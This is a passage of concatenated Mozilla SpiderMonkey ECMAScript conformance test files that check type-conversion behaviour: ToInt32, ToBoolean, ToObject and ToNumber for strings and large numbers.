SECTION, "-3000000000.25 << 0", ToInt32(-3000000000.25), -3000000000.25 << 0 ); new TestCase( SECTION, "-3000000000.5 << 0", ToInt32(-3000000000.5), -3000000000.5 << 0 ); new TestCase( SECTION, "-3000000000.75 << 0", ToInt32(-3000000000.75), -3000000000.75 << 0 ); test(); function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); if ( sign == -1 ) { n = ( n < -Math.pow(2,31) ) ? n + Math.pow(2,32) : n; } else{ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; } return ( n ); } mozjs17.0.0/js/src/tests/ecma/TypeConversion/browser.js0000664000175000017500000000000012106270663023051 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/TypeConversion/9.2.js0000664000175000017500000001171612106270663021716 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.2.js ECMA Section: 9.2 Type Conversion: ToBoolean Description: rules for converting an argument to a boolean. undefined false Null false Boolean input argument( no conversion ) Number returns false for 0, -0, and NaN otherwise return true String return false if the string is empty (length is 0) otherwise the result is true Object all return true Author: christine@netscape.com Date: 14 july 1997 */ var SECTION = "9.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "ToBoolean"; writeHeaderToLog( SECTION + " "+ TITLE); // special cases here new TestCase( SECTION, "Boolean()", false, Boolean() ); new TestCase( SECTION, "Boolean(var x)", false, Boolean(eval("var x")) ); new TestCase( SECTION, "Boolean(void 0)", false, Boolean(void 0) ); new TestCase( SECTION, "Boolean(null)", false, Boolean(null) ); new TestCase( SECTION, "Boolean(false)", false, Boolean(false) ); new TestCase( SECTION, "Boolean(true)", true, Boolean(true) ); new TestCase( SECTION, "Boolean(0)", false, Boolean(0) ); new TestCase( SECTION, "Boolean(-0)", false, Boolean(-0) ); new TestCase( SECTION, "Boolean(NaN)", false, Boolean(Number.NaN) ); new TestCase( SECTION, "Boolean('')", false, Boolean("") ); // normal test cases here new TestCase( SECTION, "Boolean(Infinity)", true, Boolean(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Boolean(-Infinity)", true, Boolean(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Boolean(Math.PI)", true, Boolean(Math.PI) ); new TestCase( SECTION, "Boolean(1)", true, Boolean(1) ); new TestCase( SECTION, "Boolean(-1)", true, Boolean(-1) ); new TestCase( SECTION, "Boolean([tab])", true, Boolean("\t") ); new TestCase( SECTION, "Boolean('0')", true, Boolean("0") ); new TestCase( SECTION, "Boolean('string')", true, Boolean("string") ); // ToBoolean (object) should always return true. new TestCase( SECTION, "Boolean(new String() )", true, Boolean(new String()) ); new TestCase( SECTION, "Boolean(new String('') )", true, Boolean(new String("")) ); new TestCase( SECTION, "Boolean(new Boolean(true))", true, Boolean(new Boolean(true)) ); new TestCase( SECTION, "Boolean(new Boolean(false))", true, Boolean(new Boolean(false)) ); new TestCase( SECTION, "Boolean(new Boolean() )", true, Boolean(new Boolean()) ); new TestCase( SECTION, "Boolean(new Array())", true, Boolean(new Array()) ); new TestCase( SECTION, "Boolean(new Number())", true, Boolean(new Number()) ); new TestCase( SECTION, "Boolean(new Number(-0))", true, Boolean(new Number(-0)) ); new TestCase( SECTION, "Boolean(new Number(0))", true, Boolean(new Number(0)) ); new TestCase( SECTION, "Boolean(new Number(NaN))", true, Boolean(new Number(Number.NaN)) ); new TestCase( SECTION, "Boolean(new Number(-1))", true, Boolean(new Number(-1)) ); new TestCase( SECTION, "Boolean(new Number(Infinity))", true, Boolean(new Number(Number.POSITIVE_INFINITY)) ); new TestCase( SECTION, "Boolean(new Number(-Infinity))",true, Boolean(new Number(Number.NEGATIVE_INFINITY)) ); new TestCase( SECTION, "Boolean(new Object())", true, Boolean(new Object()) ); new TestCase( SECTION, "Boolean(new Function())", true, Boolean(new Function()) ); new TestCase( SECTION, "Boolean(new Date())", true, Boolean(new Date()) ); new TestCase( SECTION, "Boolean(new Date(0))", true, Boolean(new Date(0)) ); new TestCase( SECTION, "Boolean(Math)", true, Boolean(Math) ); // bug 375793 new TestCase( SECTION, "NaN ? true : false", false, (NaN ? true : false) ); new TestCase( SECTION, "1000 % 0 ? true : false", false, (1000 % 0 ? true : false) ); new TestCase( SECTION, "(function(a,b){ return a % b ? true : false })(1000, 0)", false, ((function(a,b){ return a % b ? true : false })(1000, 0)) ); new TestCase( SECTION, "(function(x) { return !(x) })(0/0)", true, ((function(x) { return !(x) })(0/0)) ); new TestCase( SECTION, "!(0/0)", true, (!(0/0)) ); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.9-1.js0000664000175000017500000001162312106270663022060 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.9-1.js ECMA Section: 9.9 Type Conversion: ToObject Description: undefined generate a runtime error null generate a runtime error boolean create a new Boolean object whose default value is the value of the boolean. number Create a new Number object whose default value is the value of the number. string Create a new String object whose default value is the value of the string. object Return the input argument (no conversion). Author: christine@netscape.com Date: 17 july 1997 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "9.9-1"; writeHeaderToLog( SECTION + " Type Conversion: ToObject" ); new TestCase( SECTION, "Object(true).valueOf()", true, (Object(true)).valueOf() ); new TestCase( SECTION, "typeof Object(true)", "object", typeof Object(true) ); new TestCase( SECTION, "Object(false).valueOf()", false, (Object(false)).valueOf() ); new TestCase( SECTION, "typeof Object(false)", "object", typeof Object(false) ); new TestCase( SECTION, "Object(0).valueOf()", 0, (Object(0)).valueOf() ); new TestCase( SECTION, "typeof Object(0)", "object", typeof Object(0) ); new TestCase( SECTION, "Object(-0).valueOf()", -0, (Object(-0)).valueOf() ); new TestCase( SECTION, "typeof Object(-0)", "object", typeof Object(-0) ); new TestCase( SECTION, "Object(1).valueOf()", 1, (Object(1)).valueOf() ); new TestCase( SECTION, "typeof Object(1)", "object", typeof Object(1) ); new TestCase( SECTION, "Object(-1).valueOf()", -1, (Object(-1)).valueOf() ); new TestCase( SECTION, "typeof Object(-1)", "object", typeof Object(-1) ); new TestCase( SECTION, "Object(Number.MAX_VALUE).valueOf()", 1.7976931348623157e308, (Object(Number.MAX_VALUE)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.MAX_VALUE)", "object", typeof Object(Number.MAX_VALUE) ); new TestCase( SECTION, "Object(Number.MIN_VALUE).valueOf()", 5e-324, (Object(Number.MIN_VALUE)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.MIN_VALUE)", "object", typeof Object(Number.MIN_VALUE) ); new TestCase( SECTION, "Object(Number.POSITIVE_INFINITY).valueOf()", Number.POSITIVE_INFINITY, (Object(Number.POSITIVE_INFINITY)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.POSITIVE_INFINITY)", "object", typeof Object(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Object(Number.NEGATIVE_INFINITY).valueOf()", Number.NEGATIVE_INFINITY, (Object(Number.NEGATIVE_INFINITY)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.NEGATIVE_INFINITY)", "object", typeof Object(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Object(Number.NaN).valueOf()", Number.NaN, (Object(Number.NaN)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.NaN)", "object", typeof Object(Number.NaN) ); new TestCase( SECTION, "Object('a string').valueOf()", "a string", (Object("a string")).valueOf() ); new TestCase( SECTION, "typeof Object('a string')", "object", typeof (Object("a string")) ); new TestCase( SECTION, "Object('').valueOf()", "", (Object("")).valueOf() ); new TestCase( SECTION, "typeof Object('')", "object", typeof (Object("")) ); new TestCase( SECTION, "Object('\\r\\t\\b\\n\\v\\f').valueOf()", "\r\t\b\n\v\f", (Object("\r\t\b\n\v\f")).valueOf() ); new TestCase( SECTION, "typeof Object('\\r\\t\\b\\n\\v\\f')", "object", typeof (Object("\\r\\t\\b\\n\\v\\f")) ); new TestCase( SECTION, "Object( '\\\'\\\"\\' ).valueOf()", "\'\"\\", (Object("\'\"\\")).valueOf() ); new TestCase( SECTION, "typeof Object( '\\\'\\\"\\' )", "object", typeof Object("\'\"\\") ); new TestCase( SECTION, "Object( new MyObject(true) ).valueOf()", true, eval("Object( new MyObject(true) ).valueOf()") ); new TestCase( SECTION, "typeof Object( new MyObject(true) )", "object", eval("typeof Object( new MyObject(true) )") ); new TestCase( SECTION, "(Object( new MyObject(true) )).toString()", "[object Object]", eval("(Object( new MyObject(true) )).toString()") ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function ( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.3.1-3.js0000664000175000017500000005054212106270663022216 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.3.1-3.js ECMA Section: 9.3 Type Conversion: ToNumber Description: rules for converting an argument to a number. see 9.3.1 for cases for converting strings to numbers. special cases: undefined NaN Null NaN Boolean 1 if true; +0 if false Number the argument ( no conversion ) String see test 9.3.1 Object see test 9.3-1 Test cases provided by waldemar. Author: christine@netscape.com Date: 10 june 1998 */ var SECTION = "9.3.1-3"; var VERSION = "ECMA_1"; var BUGNUMBER="129087"; var TITLE = "Number To String, String To Number"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); // test case from http://scopus.mcom.com/bugsplat/show_bug.cgi?id=312954 var z = 0; new TestCase( SECTION, "var z = 0; print(1/-z)", -Infinity, 1/-z ); // test cases from bug http://scopus.mcom.com/bugsplat/show_bug.cgi?id=122882 new TestCase( SECTION, '- -"0x80000000"', 2147483648, - -"0x80000000" ); new TestCase( SECTION, '- -"0x100000000"', 4294967296, - -"0x100000000" ); new TestCase( SECTION, '- "-0x123456789abcde8"', NaN, - "-0x123456789abcde8" ); new TestCase( SECTION, '- "+0x123456789abcde8"', NaN, - "+0x123456789abcde8" ); // Convert some large numbers to string new TestCase( SECTION, "1e2000 +''", "Infinity", 1e2000 +"" ); new TestCase( SECTION, "1e2000", Infinity, 1e2000 ); new TestCase( SECTION, "-1e2000 +''", "-Infinity", -1e2000 +"" ); new TestCase( SECTION, "-\"1e2000\"", -Infinity, -"1e2000" ); new TestCase( SECTION, "-\"-1e2000\" +''", "Infinity", -"-1e2000" +"" ); new TestCase( SECTION, "1e-2000", 0, 1e-2000 ); new TestCase( SECTION, "1/1e-2000", Infinity, 1/1e-2000 ); // convert some strings to large numbers new TestCase( SECTION, "1/-1e-2000", -Infinity, 1/-1e-2000 ); new TestCase( SECTION, "1/\"1e-2000\"", Infinity, 1/"1e-2000" ); new TestCase( SECTION, "1/\"-1e-2000\"", -Infinity, 1/"-1e-2000" ); new TestCase( SECTION, "parseFloat(\"1e2000\")", Infinity, parseFloat("1e2000") ); new TestCase( SECTION, "parseFloat(\"1e-2000\")", 0, parseFloat("1e-2000") ); new TestCase( SECTION, "1.7976931348623157E+308", 1.7976931348623157e+308, 1.7976931348623157E+308 ); new TestCase( SECTION, "1.7976931348623158e+308", 1.7976931348623157e+308, 1.7976931348623158e+308 ); new TestCase( SECTION, "1.7976931348623159e+308", Infinity, 1.7976931348623159e+308 ); s = "17976931348623158079372897140530341507993413271003782693617377898044496829276475094664901797758720709633028641669288791094655554785194040263065748867150582068"; print("s = " + s); print("-s = " + (-s)); new TestCase( SECTION, "s = " + s +"; s +="+ "\"190890200070838367627385484581771153176447573027006985557136695962284291481986083493647529271907416844436551070434271155969950809304288017790417449779\""+ +"; s", "17976931348623158079372897140530341507993413271003782693617377898044496829276475094664901797758720709633028641669288791094655554785194040263065748867150582068190890200070838367627385484581771153176447573027006985557136695962284291481986083493647529271907416844436551070434271155969950809304288017790417449779", s += "190890200070838367627385484581771153176447573027006985557136695962284291481986083493647529271907416844436551070434271155969950809304288017790417449779" ); s1 = s+1; print("s1 = " + s1); print("-s1 = " + (-s1)); new TestCase( SECTION, "s1 = s+1; s1", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497791", s1 ); /***** This answer is preferred but -Infinity is also acceptable here *****/ new TestCase( SECTION, "-s1 == Infinity || s1 == 1.7976931348623157e+308", true, -s1 == Infinity || s1 == 1.7976931348623157e+308 ); s2 = s + 2; print("s2 = " + s2); print("-s2 = " + (-s2)); new TestCase( SECTION, "s2 = s+2; s2", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497792", s2 ); // ***** This answer is preferred but -1.7976931348623157e+308 is also acceptable here ***** new TestCase( SECTION, "-s2 == -Infinity || -s2 == -1.7976931348623157e+308 ", true, -s2 == -Infinity || -s2 == -1.7976931348623157e+308 ); s3 = s+3; print("s3 = " + s3); print("-s3 = " + (-s3)); new TestCase( SECTION, "s3 = s+3; s3", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497793", s3 ); //***** This answer is preferred but -1.7976931348623157e+308 is also acceptable here ***** new TestCase( SECTION, "-s3 == -Infinity || -s3 == -1.7976931348623157e+308", true, -s3 == -Infinity || -s3 == -1.7976931348623157e+308 ); //***** This answer is preferred but Infinity is also acceptable here ***** new TestCase( SECTION, "parseInt(s1,10) == 1.7976931348623157e+308 || parseInt(s1,10) == Infinity", true, parseInt(s1,10) == 1.7976931348623157e+308 || parseInt(s1,10) == Infinity ); //***** This answer is preferred but 1.7976931348623157e+308 is also acceptable here ***** new TestCase( SECTION, "parseInt(s2,10) == Infinity || parseInt(s2,10) == 1.7976931348623157e+308", true , parseInt(s2,10) == Infinity || parseInt(s2,10) == 1.7976931348623157e+308 ); //***** This answer is preferred but Infinity is also acceptable here ***** new TestCase( SECTION, "parseInt(s1) == 1.7976931348623157e+308 || parseInt(s1) == Infinity", true, parseInt(s1) == 1.7976931348623157e+308 || parseInt(s1) == Infinity); //***** This answer is preferred but 1.7976931348623157e+308 is also acceptable here ***** new TestCase( SECTION, "parseInt(s2) == Infinity || parseInt(s2) == 1.7976931348623157e+308", true, parseInt(s2) == Infinity || parseInt(s2) == 1.7976931348623157e+308 ); new TestCase( SECTION, "0x12345678", 305419896, 0x12345678 ); new TestCase( SECTION, "0x80000000", 2147483648, 0x80000000 ); new TestCase( SECTION, "0xffffffff", 4294967295, 0xffffffff ); new TestCase( SECTION, "0x100000000", 4294967296, 0x100000000 ); new TestCase( SECTION, "077777777777777777", 2251799813685247, 077777777777777777 ); new TestCase( SECTION, "077777777777777776", 2251799813685246, 077777777777777776 ); new TestCase( SECTION, "0x1fffffffffffff", 9007199254740991, 0x1fffffffffffff ); new TestCase( SECTION, "0x20000000000000", 9007199254740992, 0x20000000000000 ); new TestCase( SECTION, "0x20123456789abc", 9027215253084860, 0x20123456789abc ); new TestCase( SECTION, "0x20123456789abd", 9027215253084860, 0x20123456789abd ); new TestCase( SECTION, "0x20123456789abe", 9027215253084862, 0x20123456789abe ); new TestCase( SECTION, "0x20123456789abf", 9027215253084864, 0x20123456789abf ); /***** These test the round-to-nearest-or-even-if-equally-close rule *****/ new TestCase( SECTION, "0x1000000000000080", 1152921504606847000, 0x1000000000000080 ); new TestCase( SECTION, "0x1000000000000081", 1152921504606847200, 0x1000000000000081 ); new TestCase( SECTION, "0x1000000000000100", 1152921504606847200, 0x1000000000000100 ); new TestCase( SECTION, "0x100000000000017f", 1152921504606847200, 0x100000000000017f ); new TestCase( SECTION, "0x1000000000000180", 1152921504606847500, 0x1000000000000180 ); new TestCase( SECTION, "0x1000000000000181", 1152921504606847500, 0x1000000000000181 ); new TestCase( SECTION, "0x10000000000001f0", 1152921504606847500, 0x10000000000001f0 ); new TestCase( SECTION, "0x1000000000000200", 1152921504606847500, 0x1000000000000200 ); new TestCase( SECTION, "0x100000000000027f", 1152921504606847500, 0x100000000000027f ); new TestCase( SECTION, "0x1000000000000280", 1152921504606847500, 0x1000000000000280 ); new TestCase( SECTION, "0x1000000000000281", 1152921504606847700, 0x1000000000000281 ); new TestCase( SECTION, "0x10000000000002ff", 1152921504606847700, 0x10000000000002ff ); new TestCase( SECTION, "0x1000000000000300", 1152921504606847700, 0x1000000000000300 ); new TestCase( SECTION, "0x10000000000000000", 18446744073709552000, 0x10000000000000000 ); new TestCase( SECTION, "parseInt(\"000000100000000100100011010001010110011110001001101010111100\",2)", 9027215253084860, parseInt("000000100000000100100011010001010110011110001001101010111100",2) ); new TestCase( SECTION, "parseInt(\"000000100000000100100011010001010110011110001001101010111101\",2)", 9027215253084860, parseInt("000000100000000100100011010001010110011110001001101010111101",2) ); new TestCase( SECTION, "parseInt(\"000000100000000100100011010001010110011110001001101010111111\",2)", 9027215253084864, parseInt("000000100000000100100011010001010110011110001001101010111111",2) ); new TestCase( SECTION, "parseInt(\"0000001000000001001000110100010101100111100010011010101111010\",2)", 18054430506169720, parseInt("0000001000000001001000110100010101100111100010011010101111010",2)); new TestCase( SECTION, "parseInt(\"0000001000000001001000110100010101100111100010011010101111011\",2)", 18054430506169724, parseInt("0000001000000001001000110100010101100111100010011010101111011",2) ); new TestCase( SECTION, "parseInt(\"0000001000000001001000110100010101100111100010011010101111100\",2)", 18054430506169724, parseInt("0000001000000001001000110100010101100111100010011010101111100",2)); new TestCase( SECTION, "parseInt(\"0000001000000001001000110100010101100111100010011010101111110\",2)", 18054430506169728, parseInt("0000001000000001001000110100010101100111100010011010101111110",2)); new TestCase( SECTION, "parseInt(\"yz\",35)", 34, parseInt("yz",35) ); new TestCase( SECTION, "parseInt(\"yz\",36)", 1259, parseInt("yz",36) ); new TestCase( SECTION, "parseInt(\"yz\",37)", NaN, parseInt("yz",37) ); new TestCase( SECTION, "parseInt(\"+77\")", 77, parseInt("+77") ); new TestCase( SECTION, "parseInt(\"-77\",9)", -70, parseInt("-77",9) ); new TestCase( SECTION, "parseInt(\"\\u20001234\\u2000\")", 1234, parseInt("\u20001234\u2000") ); new TestCase( SECTION, "parseInt(\"123456789012345678\")", 123456789012345680, parseInt("123456789012345678") ); new TestCase( SECTION, "parseInt(\"9\",8)", NaN, parseInt("9",8) ); new TestCase( SECTION, "parseInt(\"1e2\")", 1, parseInt("1e2") ); new TestCase( SECTION, "parseInt(\"1.9999999999999999999\")", 1, parseInt("1.9999999999999999999") ); new TestCase( SECTION, "parseInt(\"0x10\")", 16, parseInt("0x10") ); new TestCase( SECTION, "parseInt(\"0x10\",10)", 0, parseInt("0x10",10) ); new TestCase( SECTION, "parseInt(\"0022\")", 18, parseInt("0022") ); new TestCase( SECTION, "parseInt(\"0022\",10)", 22, parseInt("0022",10) ); new TestCase( SECTION, "parseInt(\"0x1000000000000080\")", 1152921504606847000, parseInt("0x1000000000000080") ); new TestCase( SECTION, "parseInt(\"0x1000000000000081\")", 1152921504606847200, parseInt("0x1000000000000081") ); s = "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; new TestCase( SECTION, "s = "+ "\"0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";"+ "s", "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", s ); new TestCase( SECTION, "s +="+ "\"0000000000000000000000000000000000000\"; s", "0xFFFFFFFFFFFFF800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", s += "0000000000000000000000000000000000000" ); new TestCase( SECTION, "-s", -1.7976931348623157e+308, -s ); s = "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; new TestCase( SECTION, "s ="+ "\"0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";"+ "s", "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", s ); new TestCase( SECTION, "s += \"0000000000000000000000000000000000001\"", "0xFFFFFFFFFFFFF800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", s += "0000000000000000000000000000000000001" ); new TestCase( SECTION, "-s", -1.7976931348623157e+308, -s ); s = "0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; new TestCase( SECTION, "s ="+ "\"0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";"+ "s", "0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", s ); new TestCase( SECTION, "s += \"0000000000000000000000000000000000000\"", "0xFFFFFFFFFFFFFC00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", s += "0000000000000000000000000000000000000"); new TestCase( SECTION, "-s", -Infinity, -s ); s = "0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; new TestCase( SECTION, "s = "+ "\"0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";s", "0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", s); new TestCase( SECTION, "s += \"0000000000000000000000000000000000001\"", "0xFFFFFFFFFFFFFB00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", s += "0000000000000000000000000000000000001" ); new TestCase( SECTION, "-s", -1.7976931348623157e+308, -s ); new TestCase( SECTION, "s += \"0\"", "0xFFFFFFFFFFFFFB000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010", s += "0" ); new TestCase( SECTION, "-s", -Infinity, -s ); new TestCase( SECTION, "parseInt(s)", Infinity, parseInt(s) ); new TestCase( SECTION, "parseInt(s,32)", 0, parseInt(s,32) ); new TestCase( SECTION, "parseInt(s,36)", Infinity, parseInt(s,36) ); new TestCase( SECTION, "-\"\"", 0, -"" ); new TestCase( SECTION, "-\" \"", 0, -" " ); new TestCase( SECTION, "-\"999\"", -999, -"999" ); new TestCase( SECTION, "-\" 999\"", -999, -" 999" ); new TestCase( SECTION, "-\"\\t999\"", -999, -"\t999" ); new TestCase( SECTION, "-\"013 \"", -13, -"013 " ); new TestCase( SECTION, "-\"999\\t\"", -999, -"999\t" ); new TestCase( SECTION, "-\"-Infinity\"", Infinity, -"-Infinity" ); new TestCase( SECTION, "-\"+Infinity\"", -Infinity, -"+Infinity" ); new TestCase( SECTION, "-\"+Infiniti\"", NaN, -"+Infiniti" ); new TestCase( SECTION, "- -\"0x80000000\"", 2147483648, - -"0x80000000" ); new TestCase( SECTION, "- -\"0x100000000\"", 4294967296, - -"0x100000000" ); new TestCase( SECTION, "- \"-0x123456789abcde8\"", NaN, - "-0x123456789abcde8" ); new TestCase( SECTION, "- \"+0x123456789abcde8\"", NaN, - "+0x123456789abcde8" ); // the following two tests are not strictly ECMA 1.0 new TestCase( SECTION, "-\"\\u20001234\\u2001\"", -1234, -"\u20001234\u2001" ); new TestCase( SECTION, "-\"\\u20001234\\0\"", NaN, -"\u20001234\0" ); new TestCase( SECTION, "-\"0x10\"", -16, -"0x10" ); new TestCase( SECTION, "-\"+\"", NaN, -"+" ); new TestCase( SECTION, "-\"-\"", NaN, -"-" ); new TestCase( SECTION, "-\"-0-\"", NaN, -"-0-" ); new TestCase( SECTION, "-\"1e-\"", NaN, -"1e-" ); new TestCase( SECTION, "-\"1e-1\"", -0.1, -"1e-1" ); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.3.1-1.js0000664000175000017500000004725212106270663022220 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.3.1-1.js ECMA Section: 9.3 Type Conversion: ToNumber Description: rules for converting an argument to a number. see 9.3.1 for cases for converting strings to numbers. special cases: undefined NaN Null NaN Boolean 1 if true; +0 if false Number the argument ( no conversion ) String see test 9.3.1 Object see test 9.3-1 This tests ToNumber applied to the string type Author: christine@netscape.com Date: 10 july 1997 */ var SECTION = "9.3.1-1"; var VERSION = "ECMA_1"; var TITLE = "ToNumber applied to the String type"; var BUGNUMBER="77391"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); // StringNumericLiteral:::StrWhiteSpace:::StrWhiteSpaceChar StrWhiteSpace::: // // Name Unicode Value Escape Sequence // 0X0009 \t // 0X0020 // 0X000C \f // 0X000B // 0X000D \r // 0X000A \n new TestCase( SECTION, "Number('')", 0, Number("") ); new TestCase( SECTION, "Number(' ')", 0, Number(" ") ); new TestCase( SECTION, "Number(\\t)", 0, Number("\t") ); new TestCase( SECTION, "Number(\\n)", 0, Number("\n") ); new TestCase( SECTION, "Number(\\r)", 0, Number("\r") ); new TestCase( SECTION, "Number(\\f)", 0, Number("\f") ); new TestCase( SECTION, "Number(String.fromCharCode(0x0009)", 0, Number(String.fromCharCode(0x0009)) ); new TestCase( SECTION, "Number(String.fromCharCode(0x0020)", 0, Number(String.fromCharCode(0x0020)) ); new TestCase( SECTION, "Number(String.fromCharCode(0x000C)", 0, Number(String.fromCharCode(0x000C)) ); new TestCase( SECTION, "Number(String.fromCharCode(0x000B)", 0, Number(String.fromCharCode(0x000B)) ); new TestCase( SECTION, "Number(String.fromCharCode(0x000D)", 0, Number(String.fromCharCode(0x000D)) ); new TestCase( SECTION, "Number(String.fromCharCode(0x000A)", 0, Number(String.fromCharCode(0x000A)) ); // a StringNumericLiteral may be preceeded or followed by whitespace and/or // line terminators new TestCase( SECTION, "Number( ' ' + 999 )", 999, Number( ' '+999) ); new TestCase( SECTION, "Number( '\\n' + 999 )", 999, Number( '\n' +999) ); new TestCase( SECTION, "Number( '\\r' + 999 )", 999, Number( '\r' +999) ); new TestCase( SECTION, "Number( '\\t' + 999 )", 999, Number( '\t' +999) ); new TestCase( SECTION, "Number( '\\f' + 999 )", 999, Number( '\f' +999) ); new TestCase( SECTION, "Number( 999 + ' ' )", 999, Number( 999+' ') ); new TestCase( SECTION, "Number( 999 + '\\n' )", 999, Number( 999+'\n' ) ); new TestCase( SECTION, "Number( 999 + '\\r' )", 999, Number( 999+'\r' ) ); new TestCase( SECTION, "Number( 999 + '\\t' )", 999, Number( 999+'\t' ) ); new TestCase( SECTION, "Number( 999 + '\\f' )", 999, Number( 999+'\f' ) ); new TestCase( SECTION, "Number( '\\n' + 999 + '\\n' )", 999, Number( '\n' +999+'\n' ) ); new TestCase( SECTION, "Number( '\\r' + 999 + '\\r' )", 999, Number( '\r' +999+'\r' ) ); new TestCase( SECTION, "Number( '\\t' + 999 + '\\t' )", 999, Number( '\t' +999+'\t' ) ); new TestCase( SECTION, "Number( '\\f' + 999 + '\\f' )", 999, Number( '\f' +999+'\f' ) ); new TestCase( SECTION, "Number( ' ' + '999' )", 999, Number( ' '+'999') ); new TestCase( SECTION, "Number( '\\n' + '999' )", 999, Number( '\n' +'999') ); new TestCase( SECTION, "Number( '\\r' + '999' )", 999, Number( '\r' +'999') ); new TestCase( SECTION, "Number( '\\t' + '999' )", 999, Number( '\t' +'999') ); new TestCase( SECTION, "Number( '\\f' + '999' )", 999, Number( '\f' +'999') ); new TestCase( SECTION, "Number( '999' + ' ' )", 999, Number( '999'+' ') ); new TestCase( SECTION, "Number( '999' + '\\n' )", 999, Number( '999'+'\n' ) ); new TestCase( SECTION, "Number( '999' + '\\r' )", 999, Number( '999'+'\r' ) ); new TestCase( SECTION, "Number( 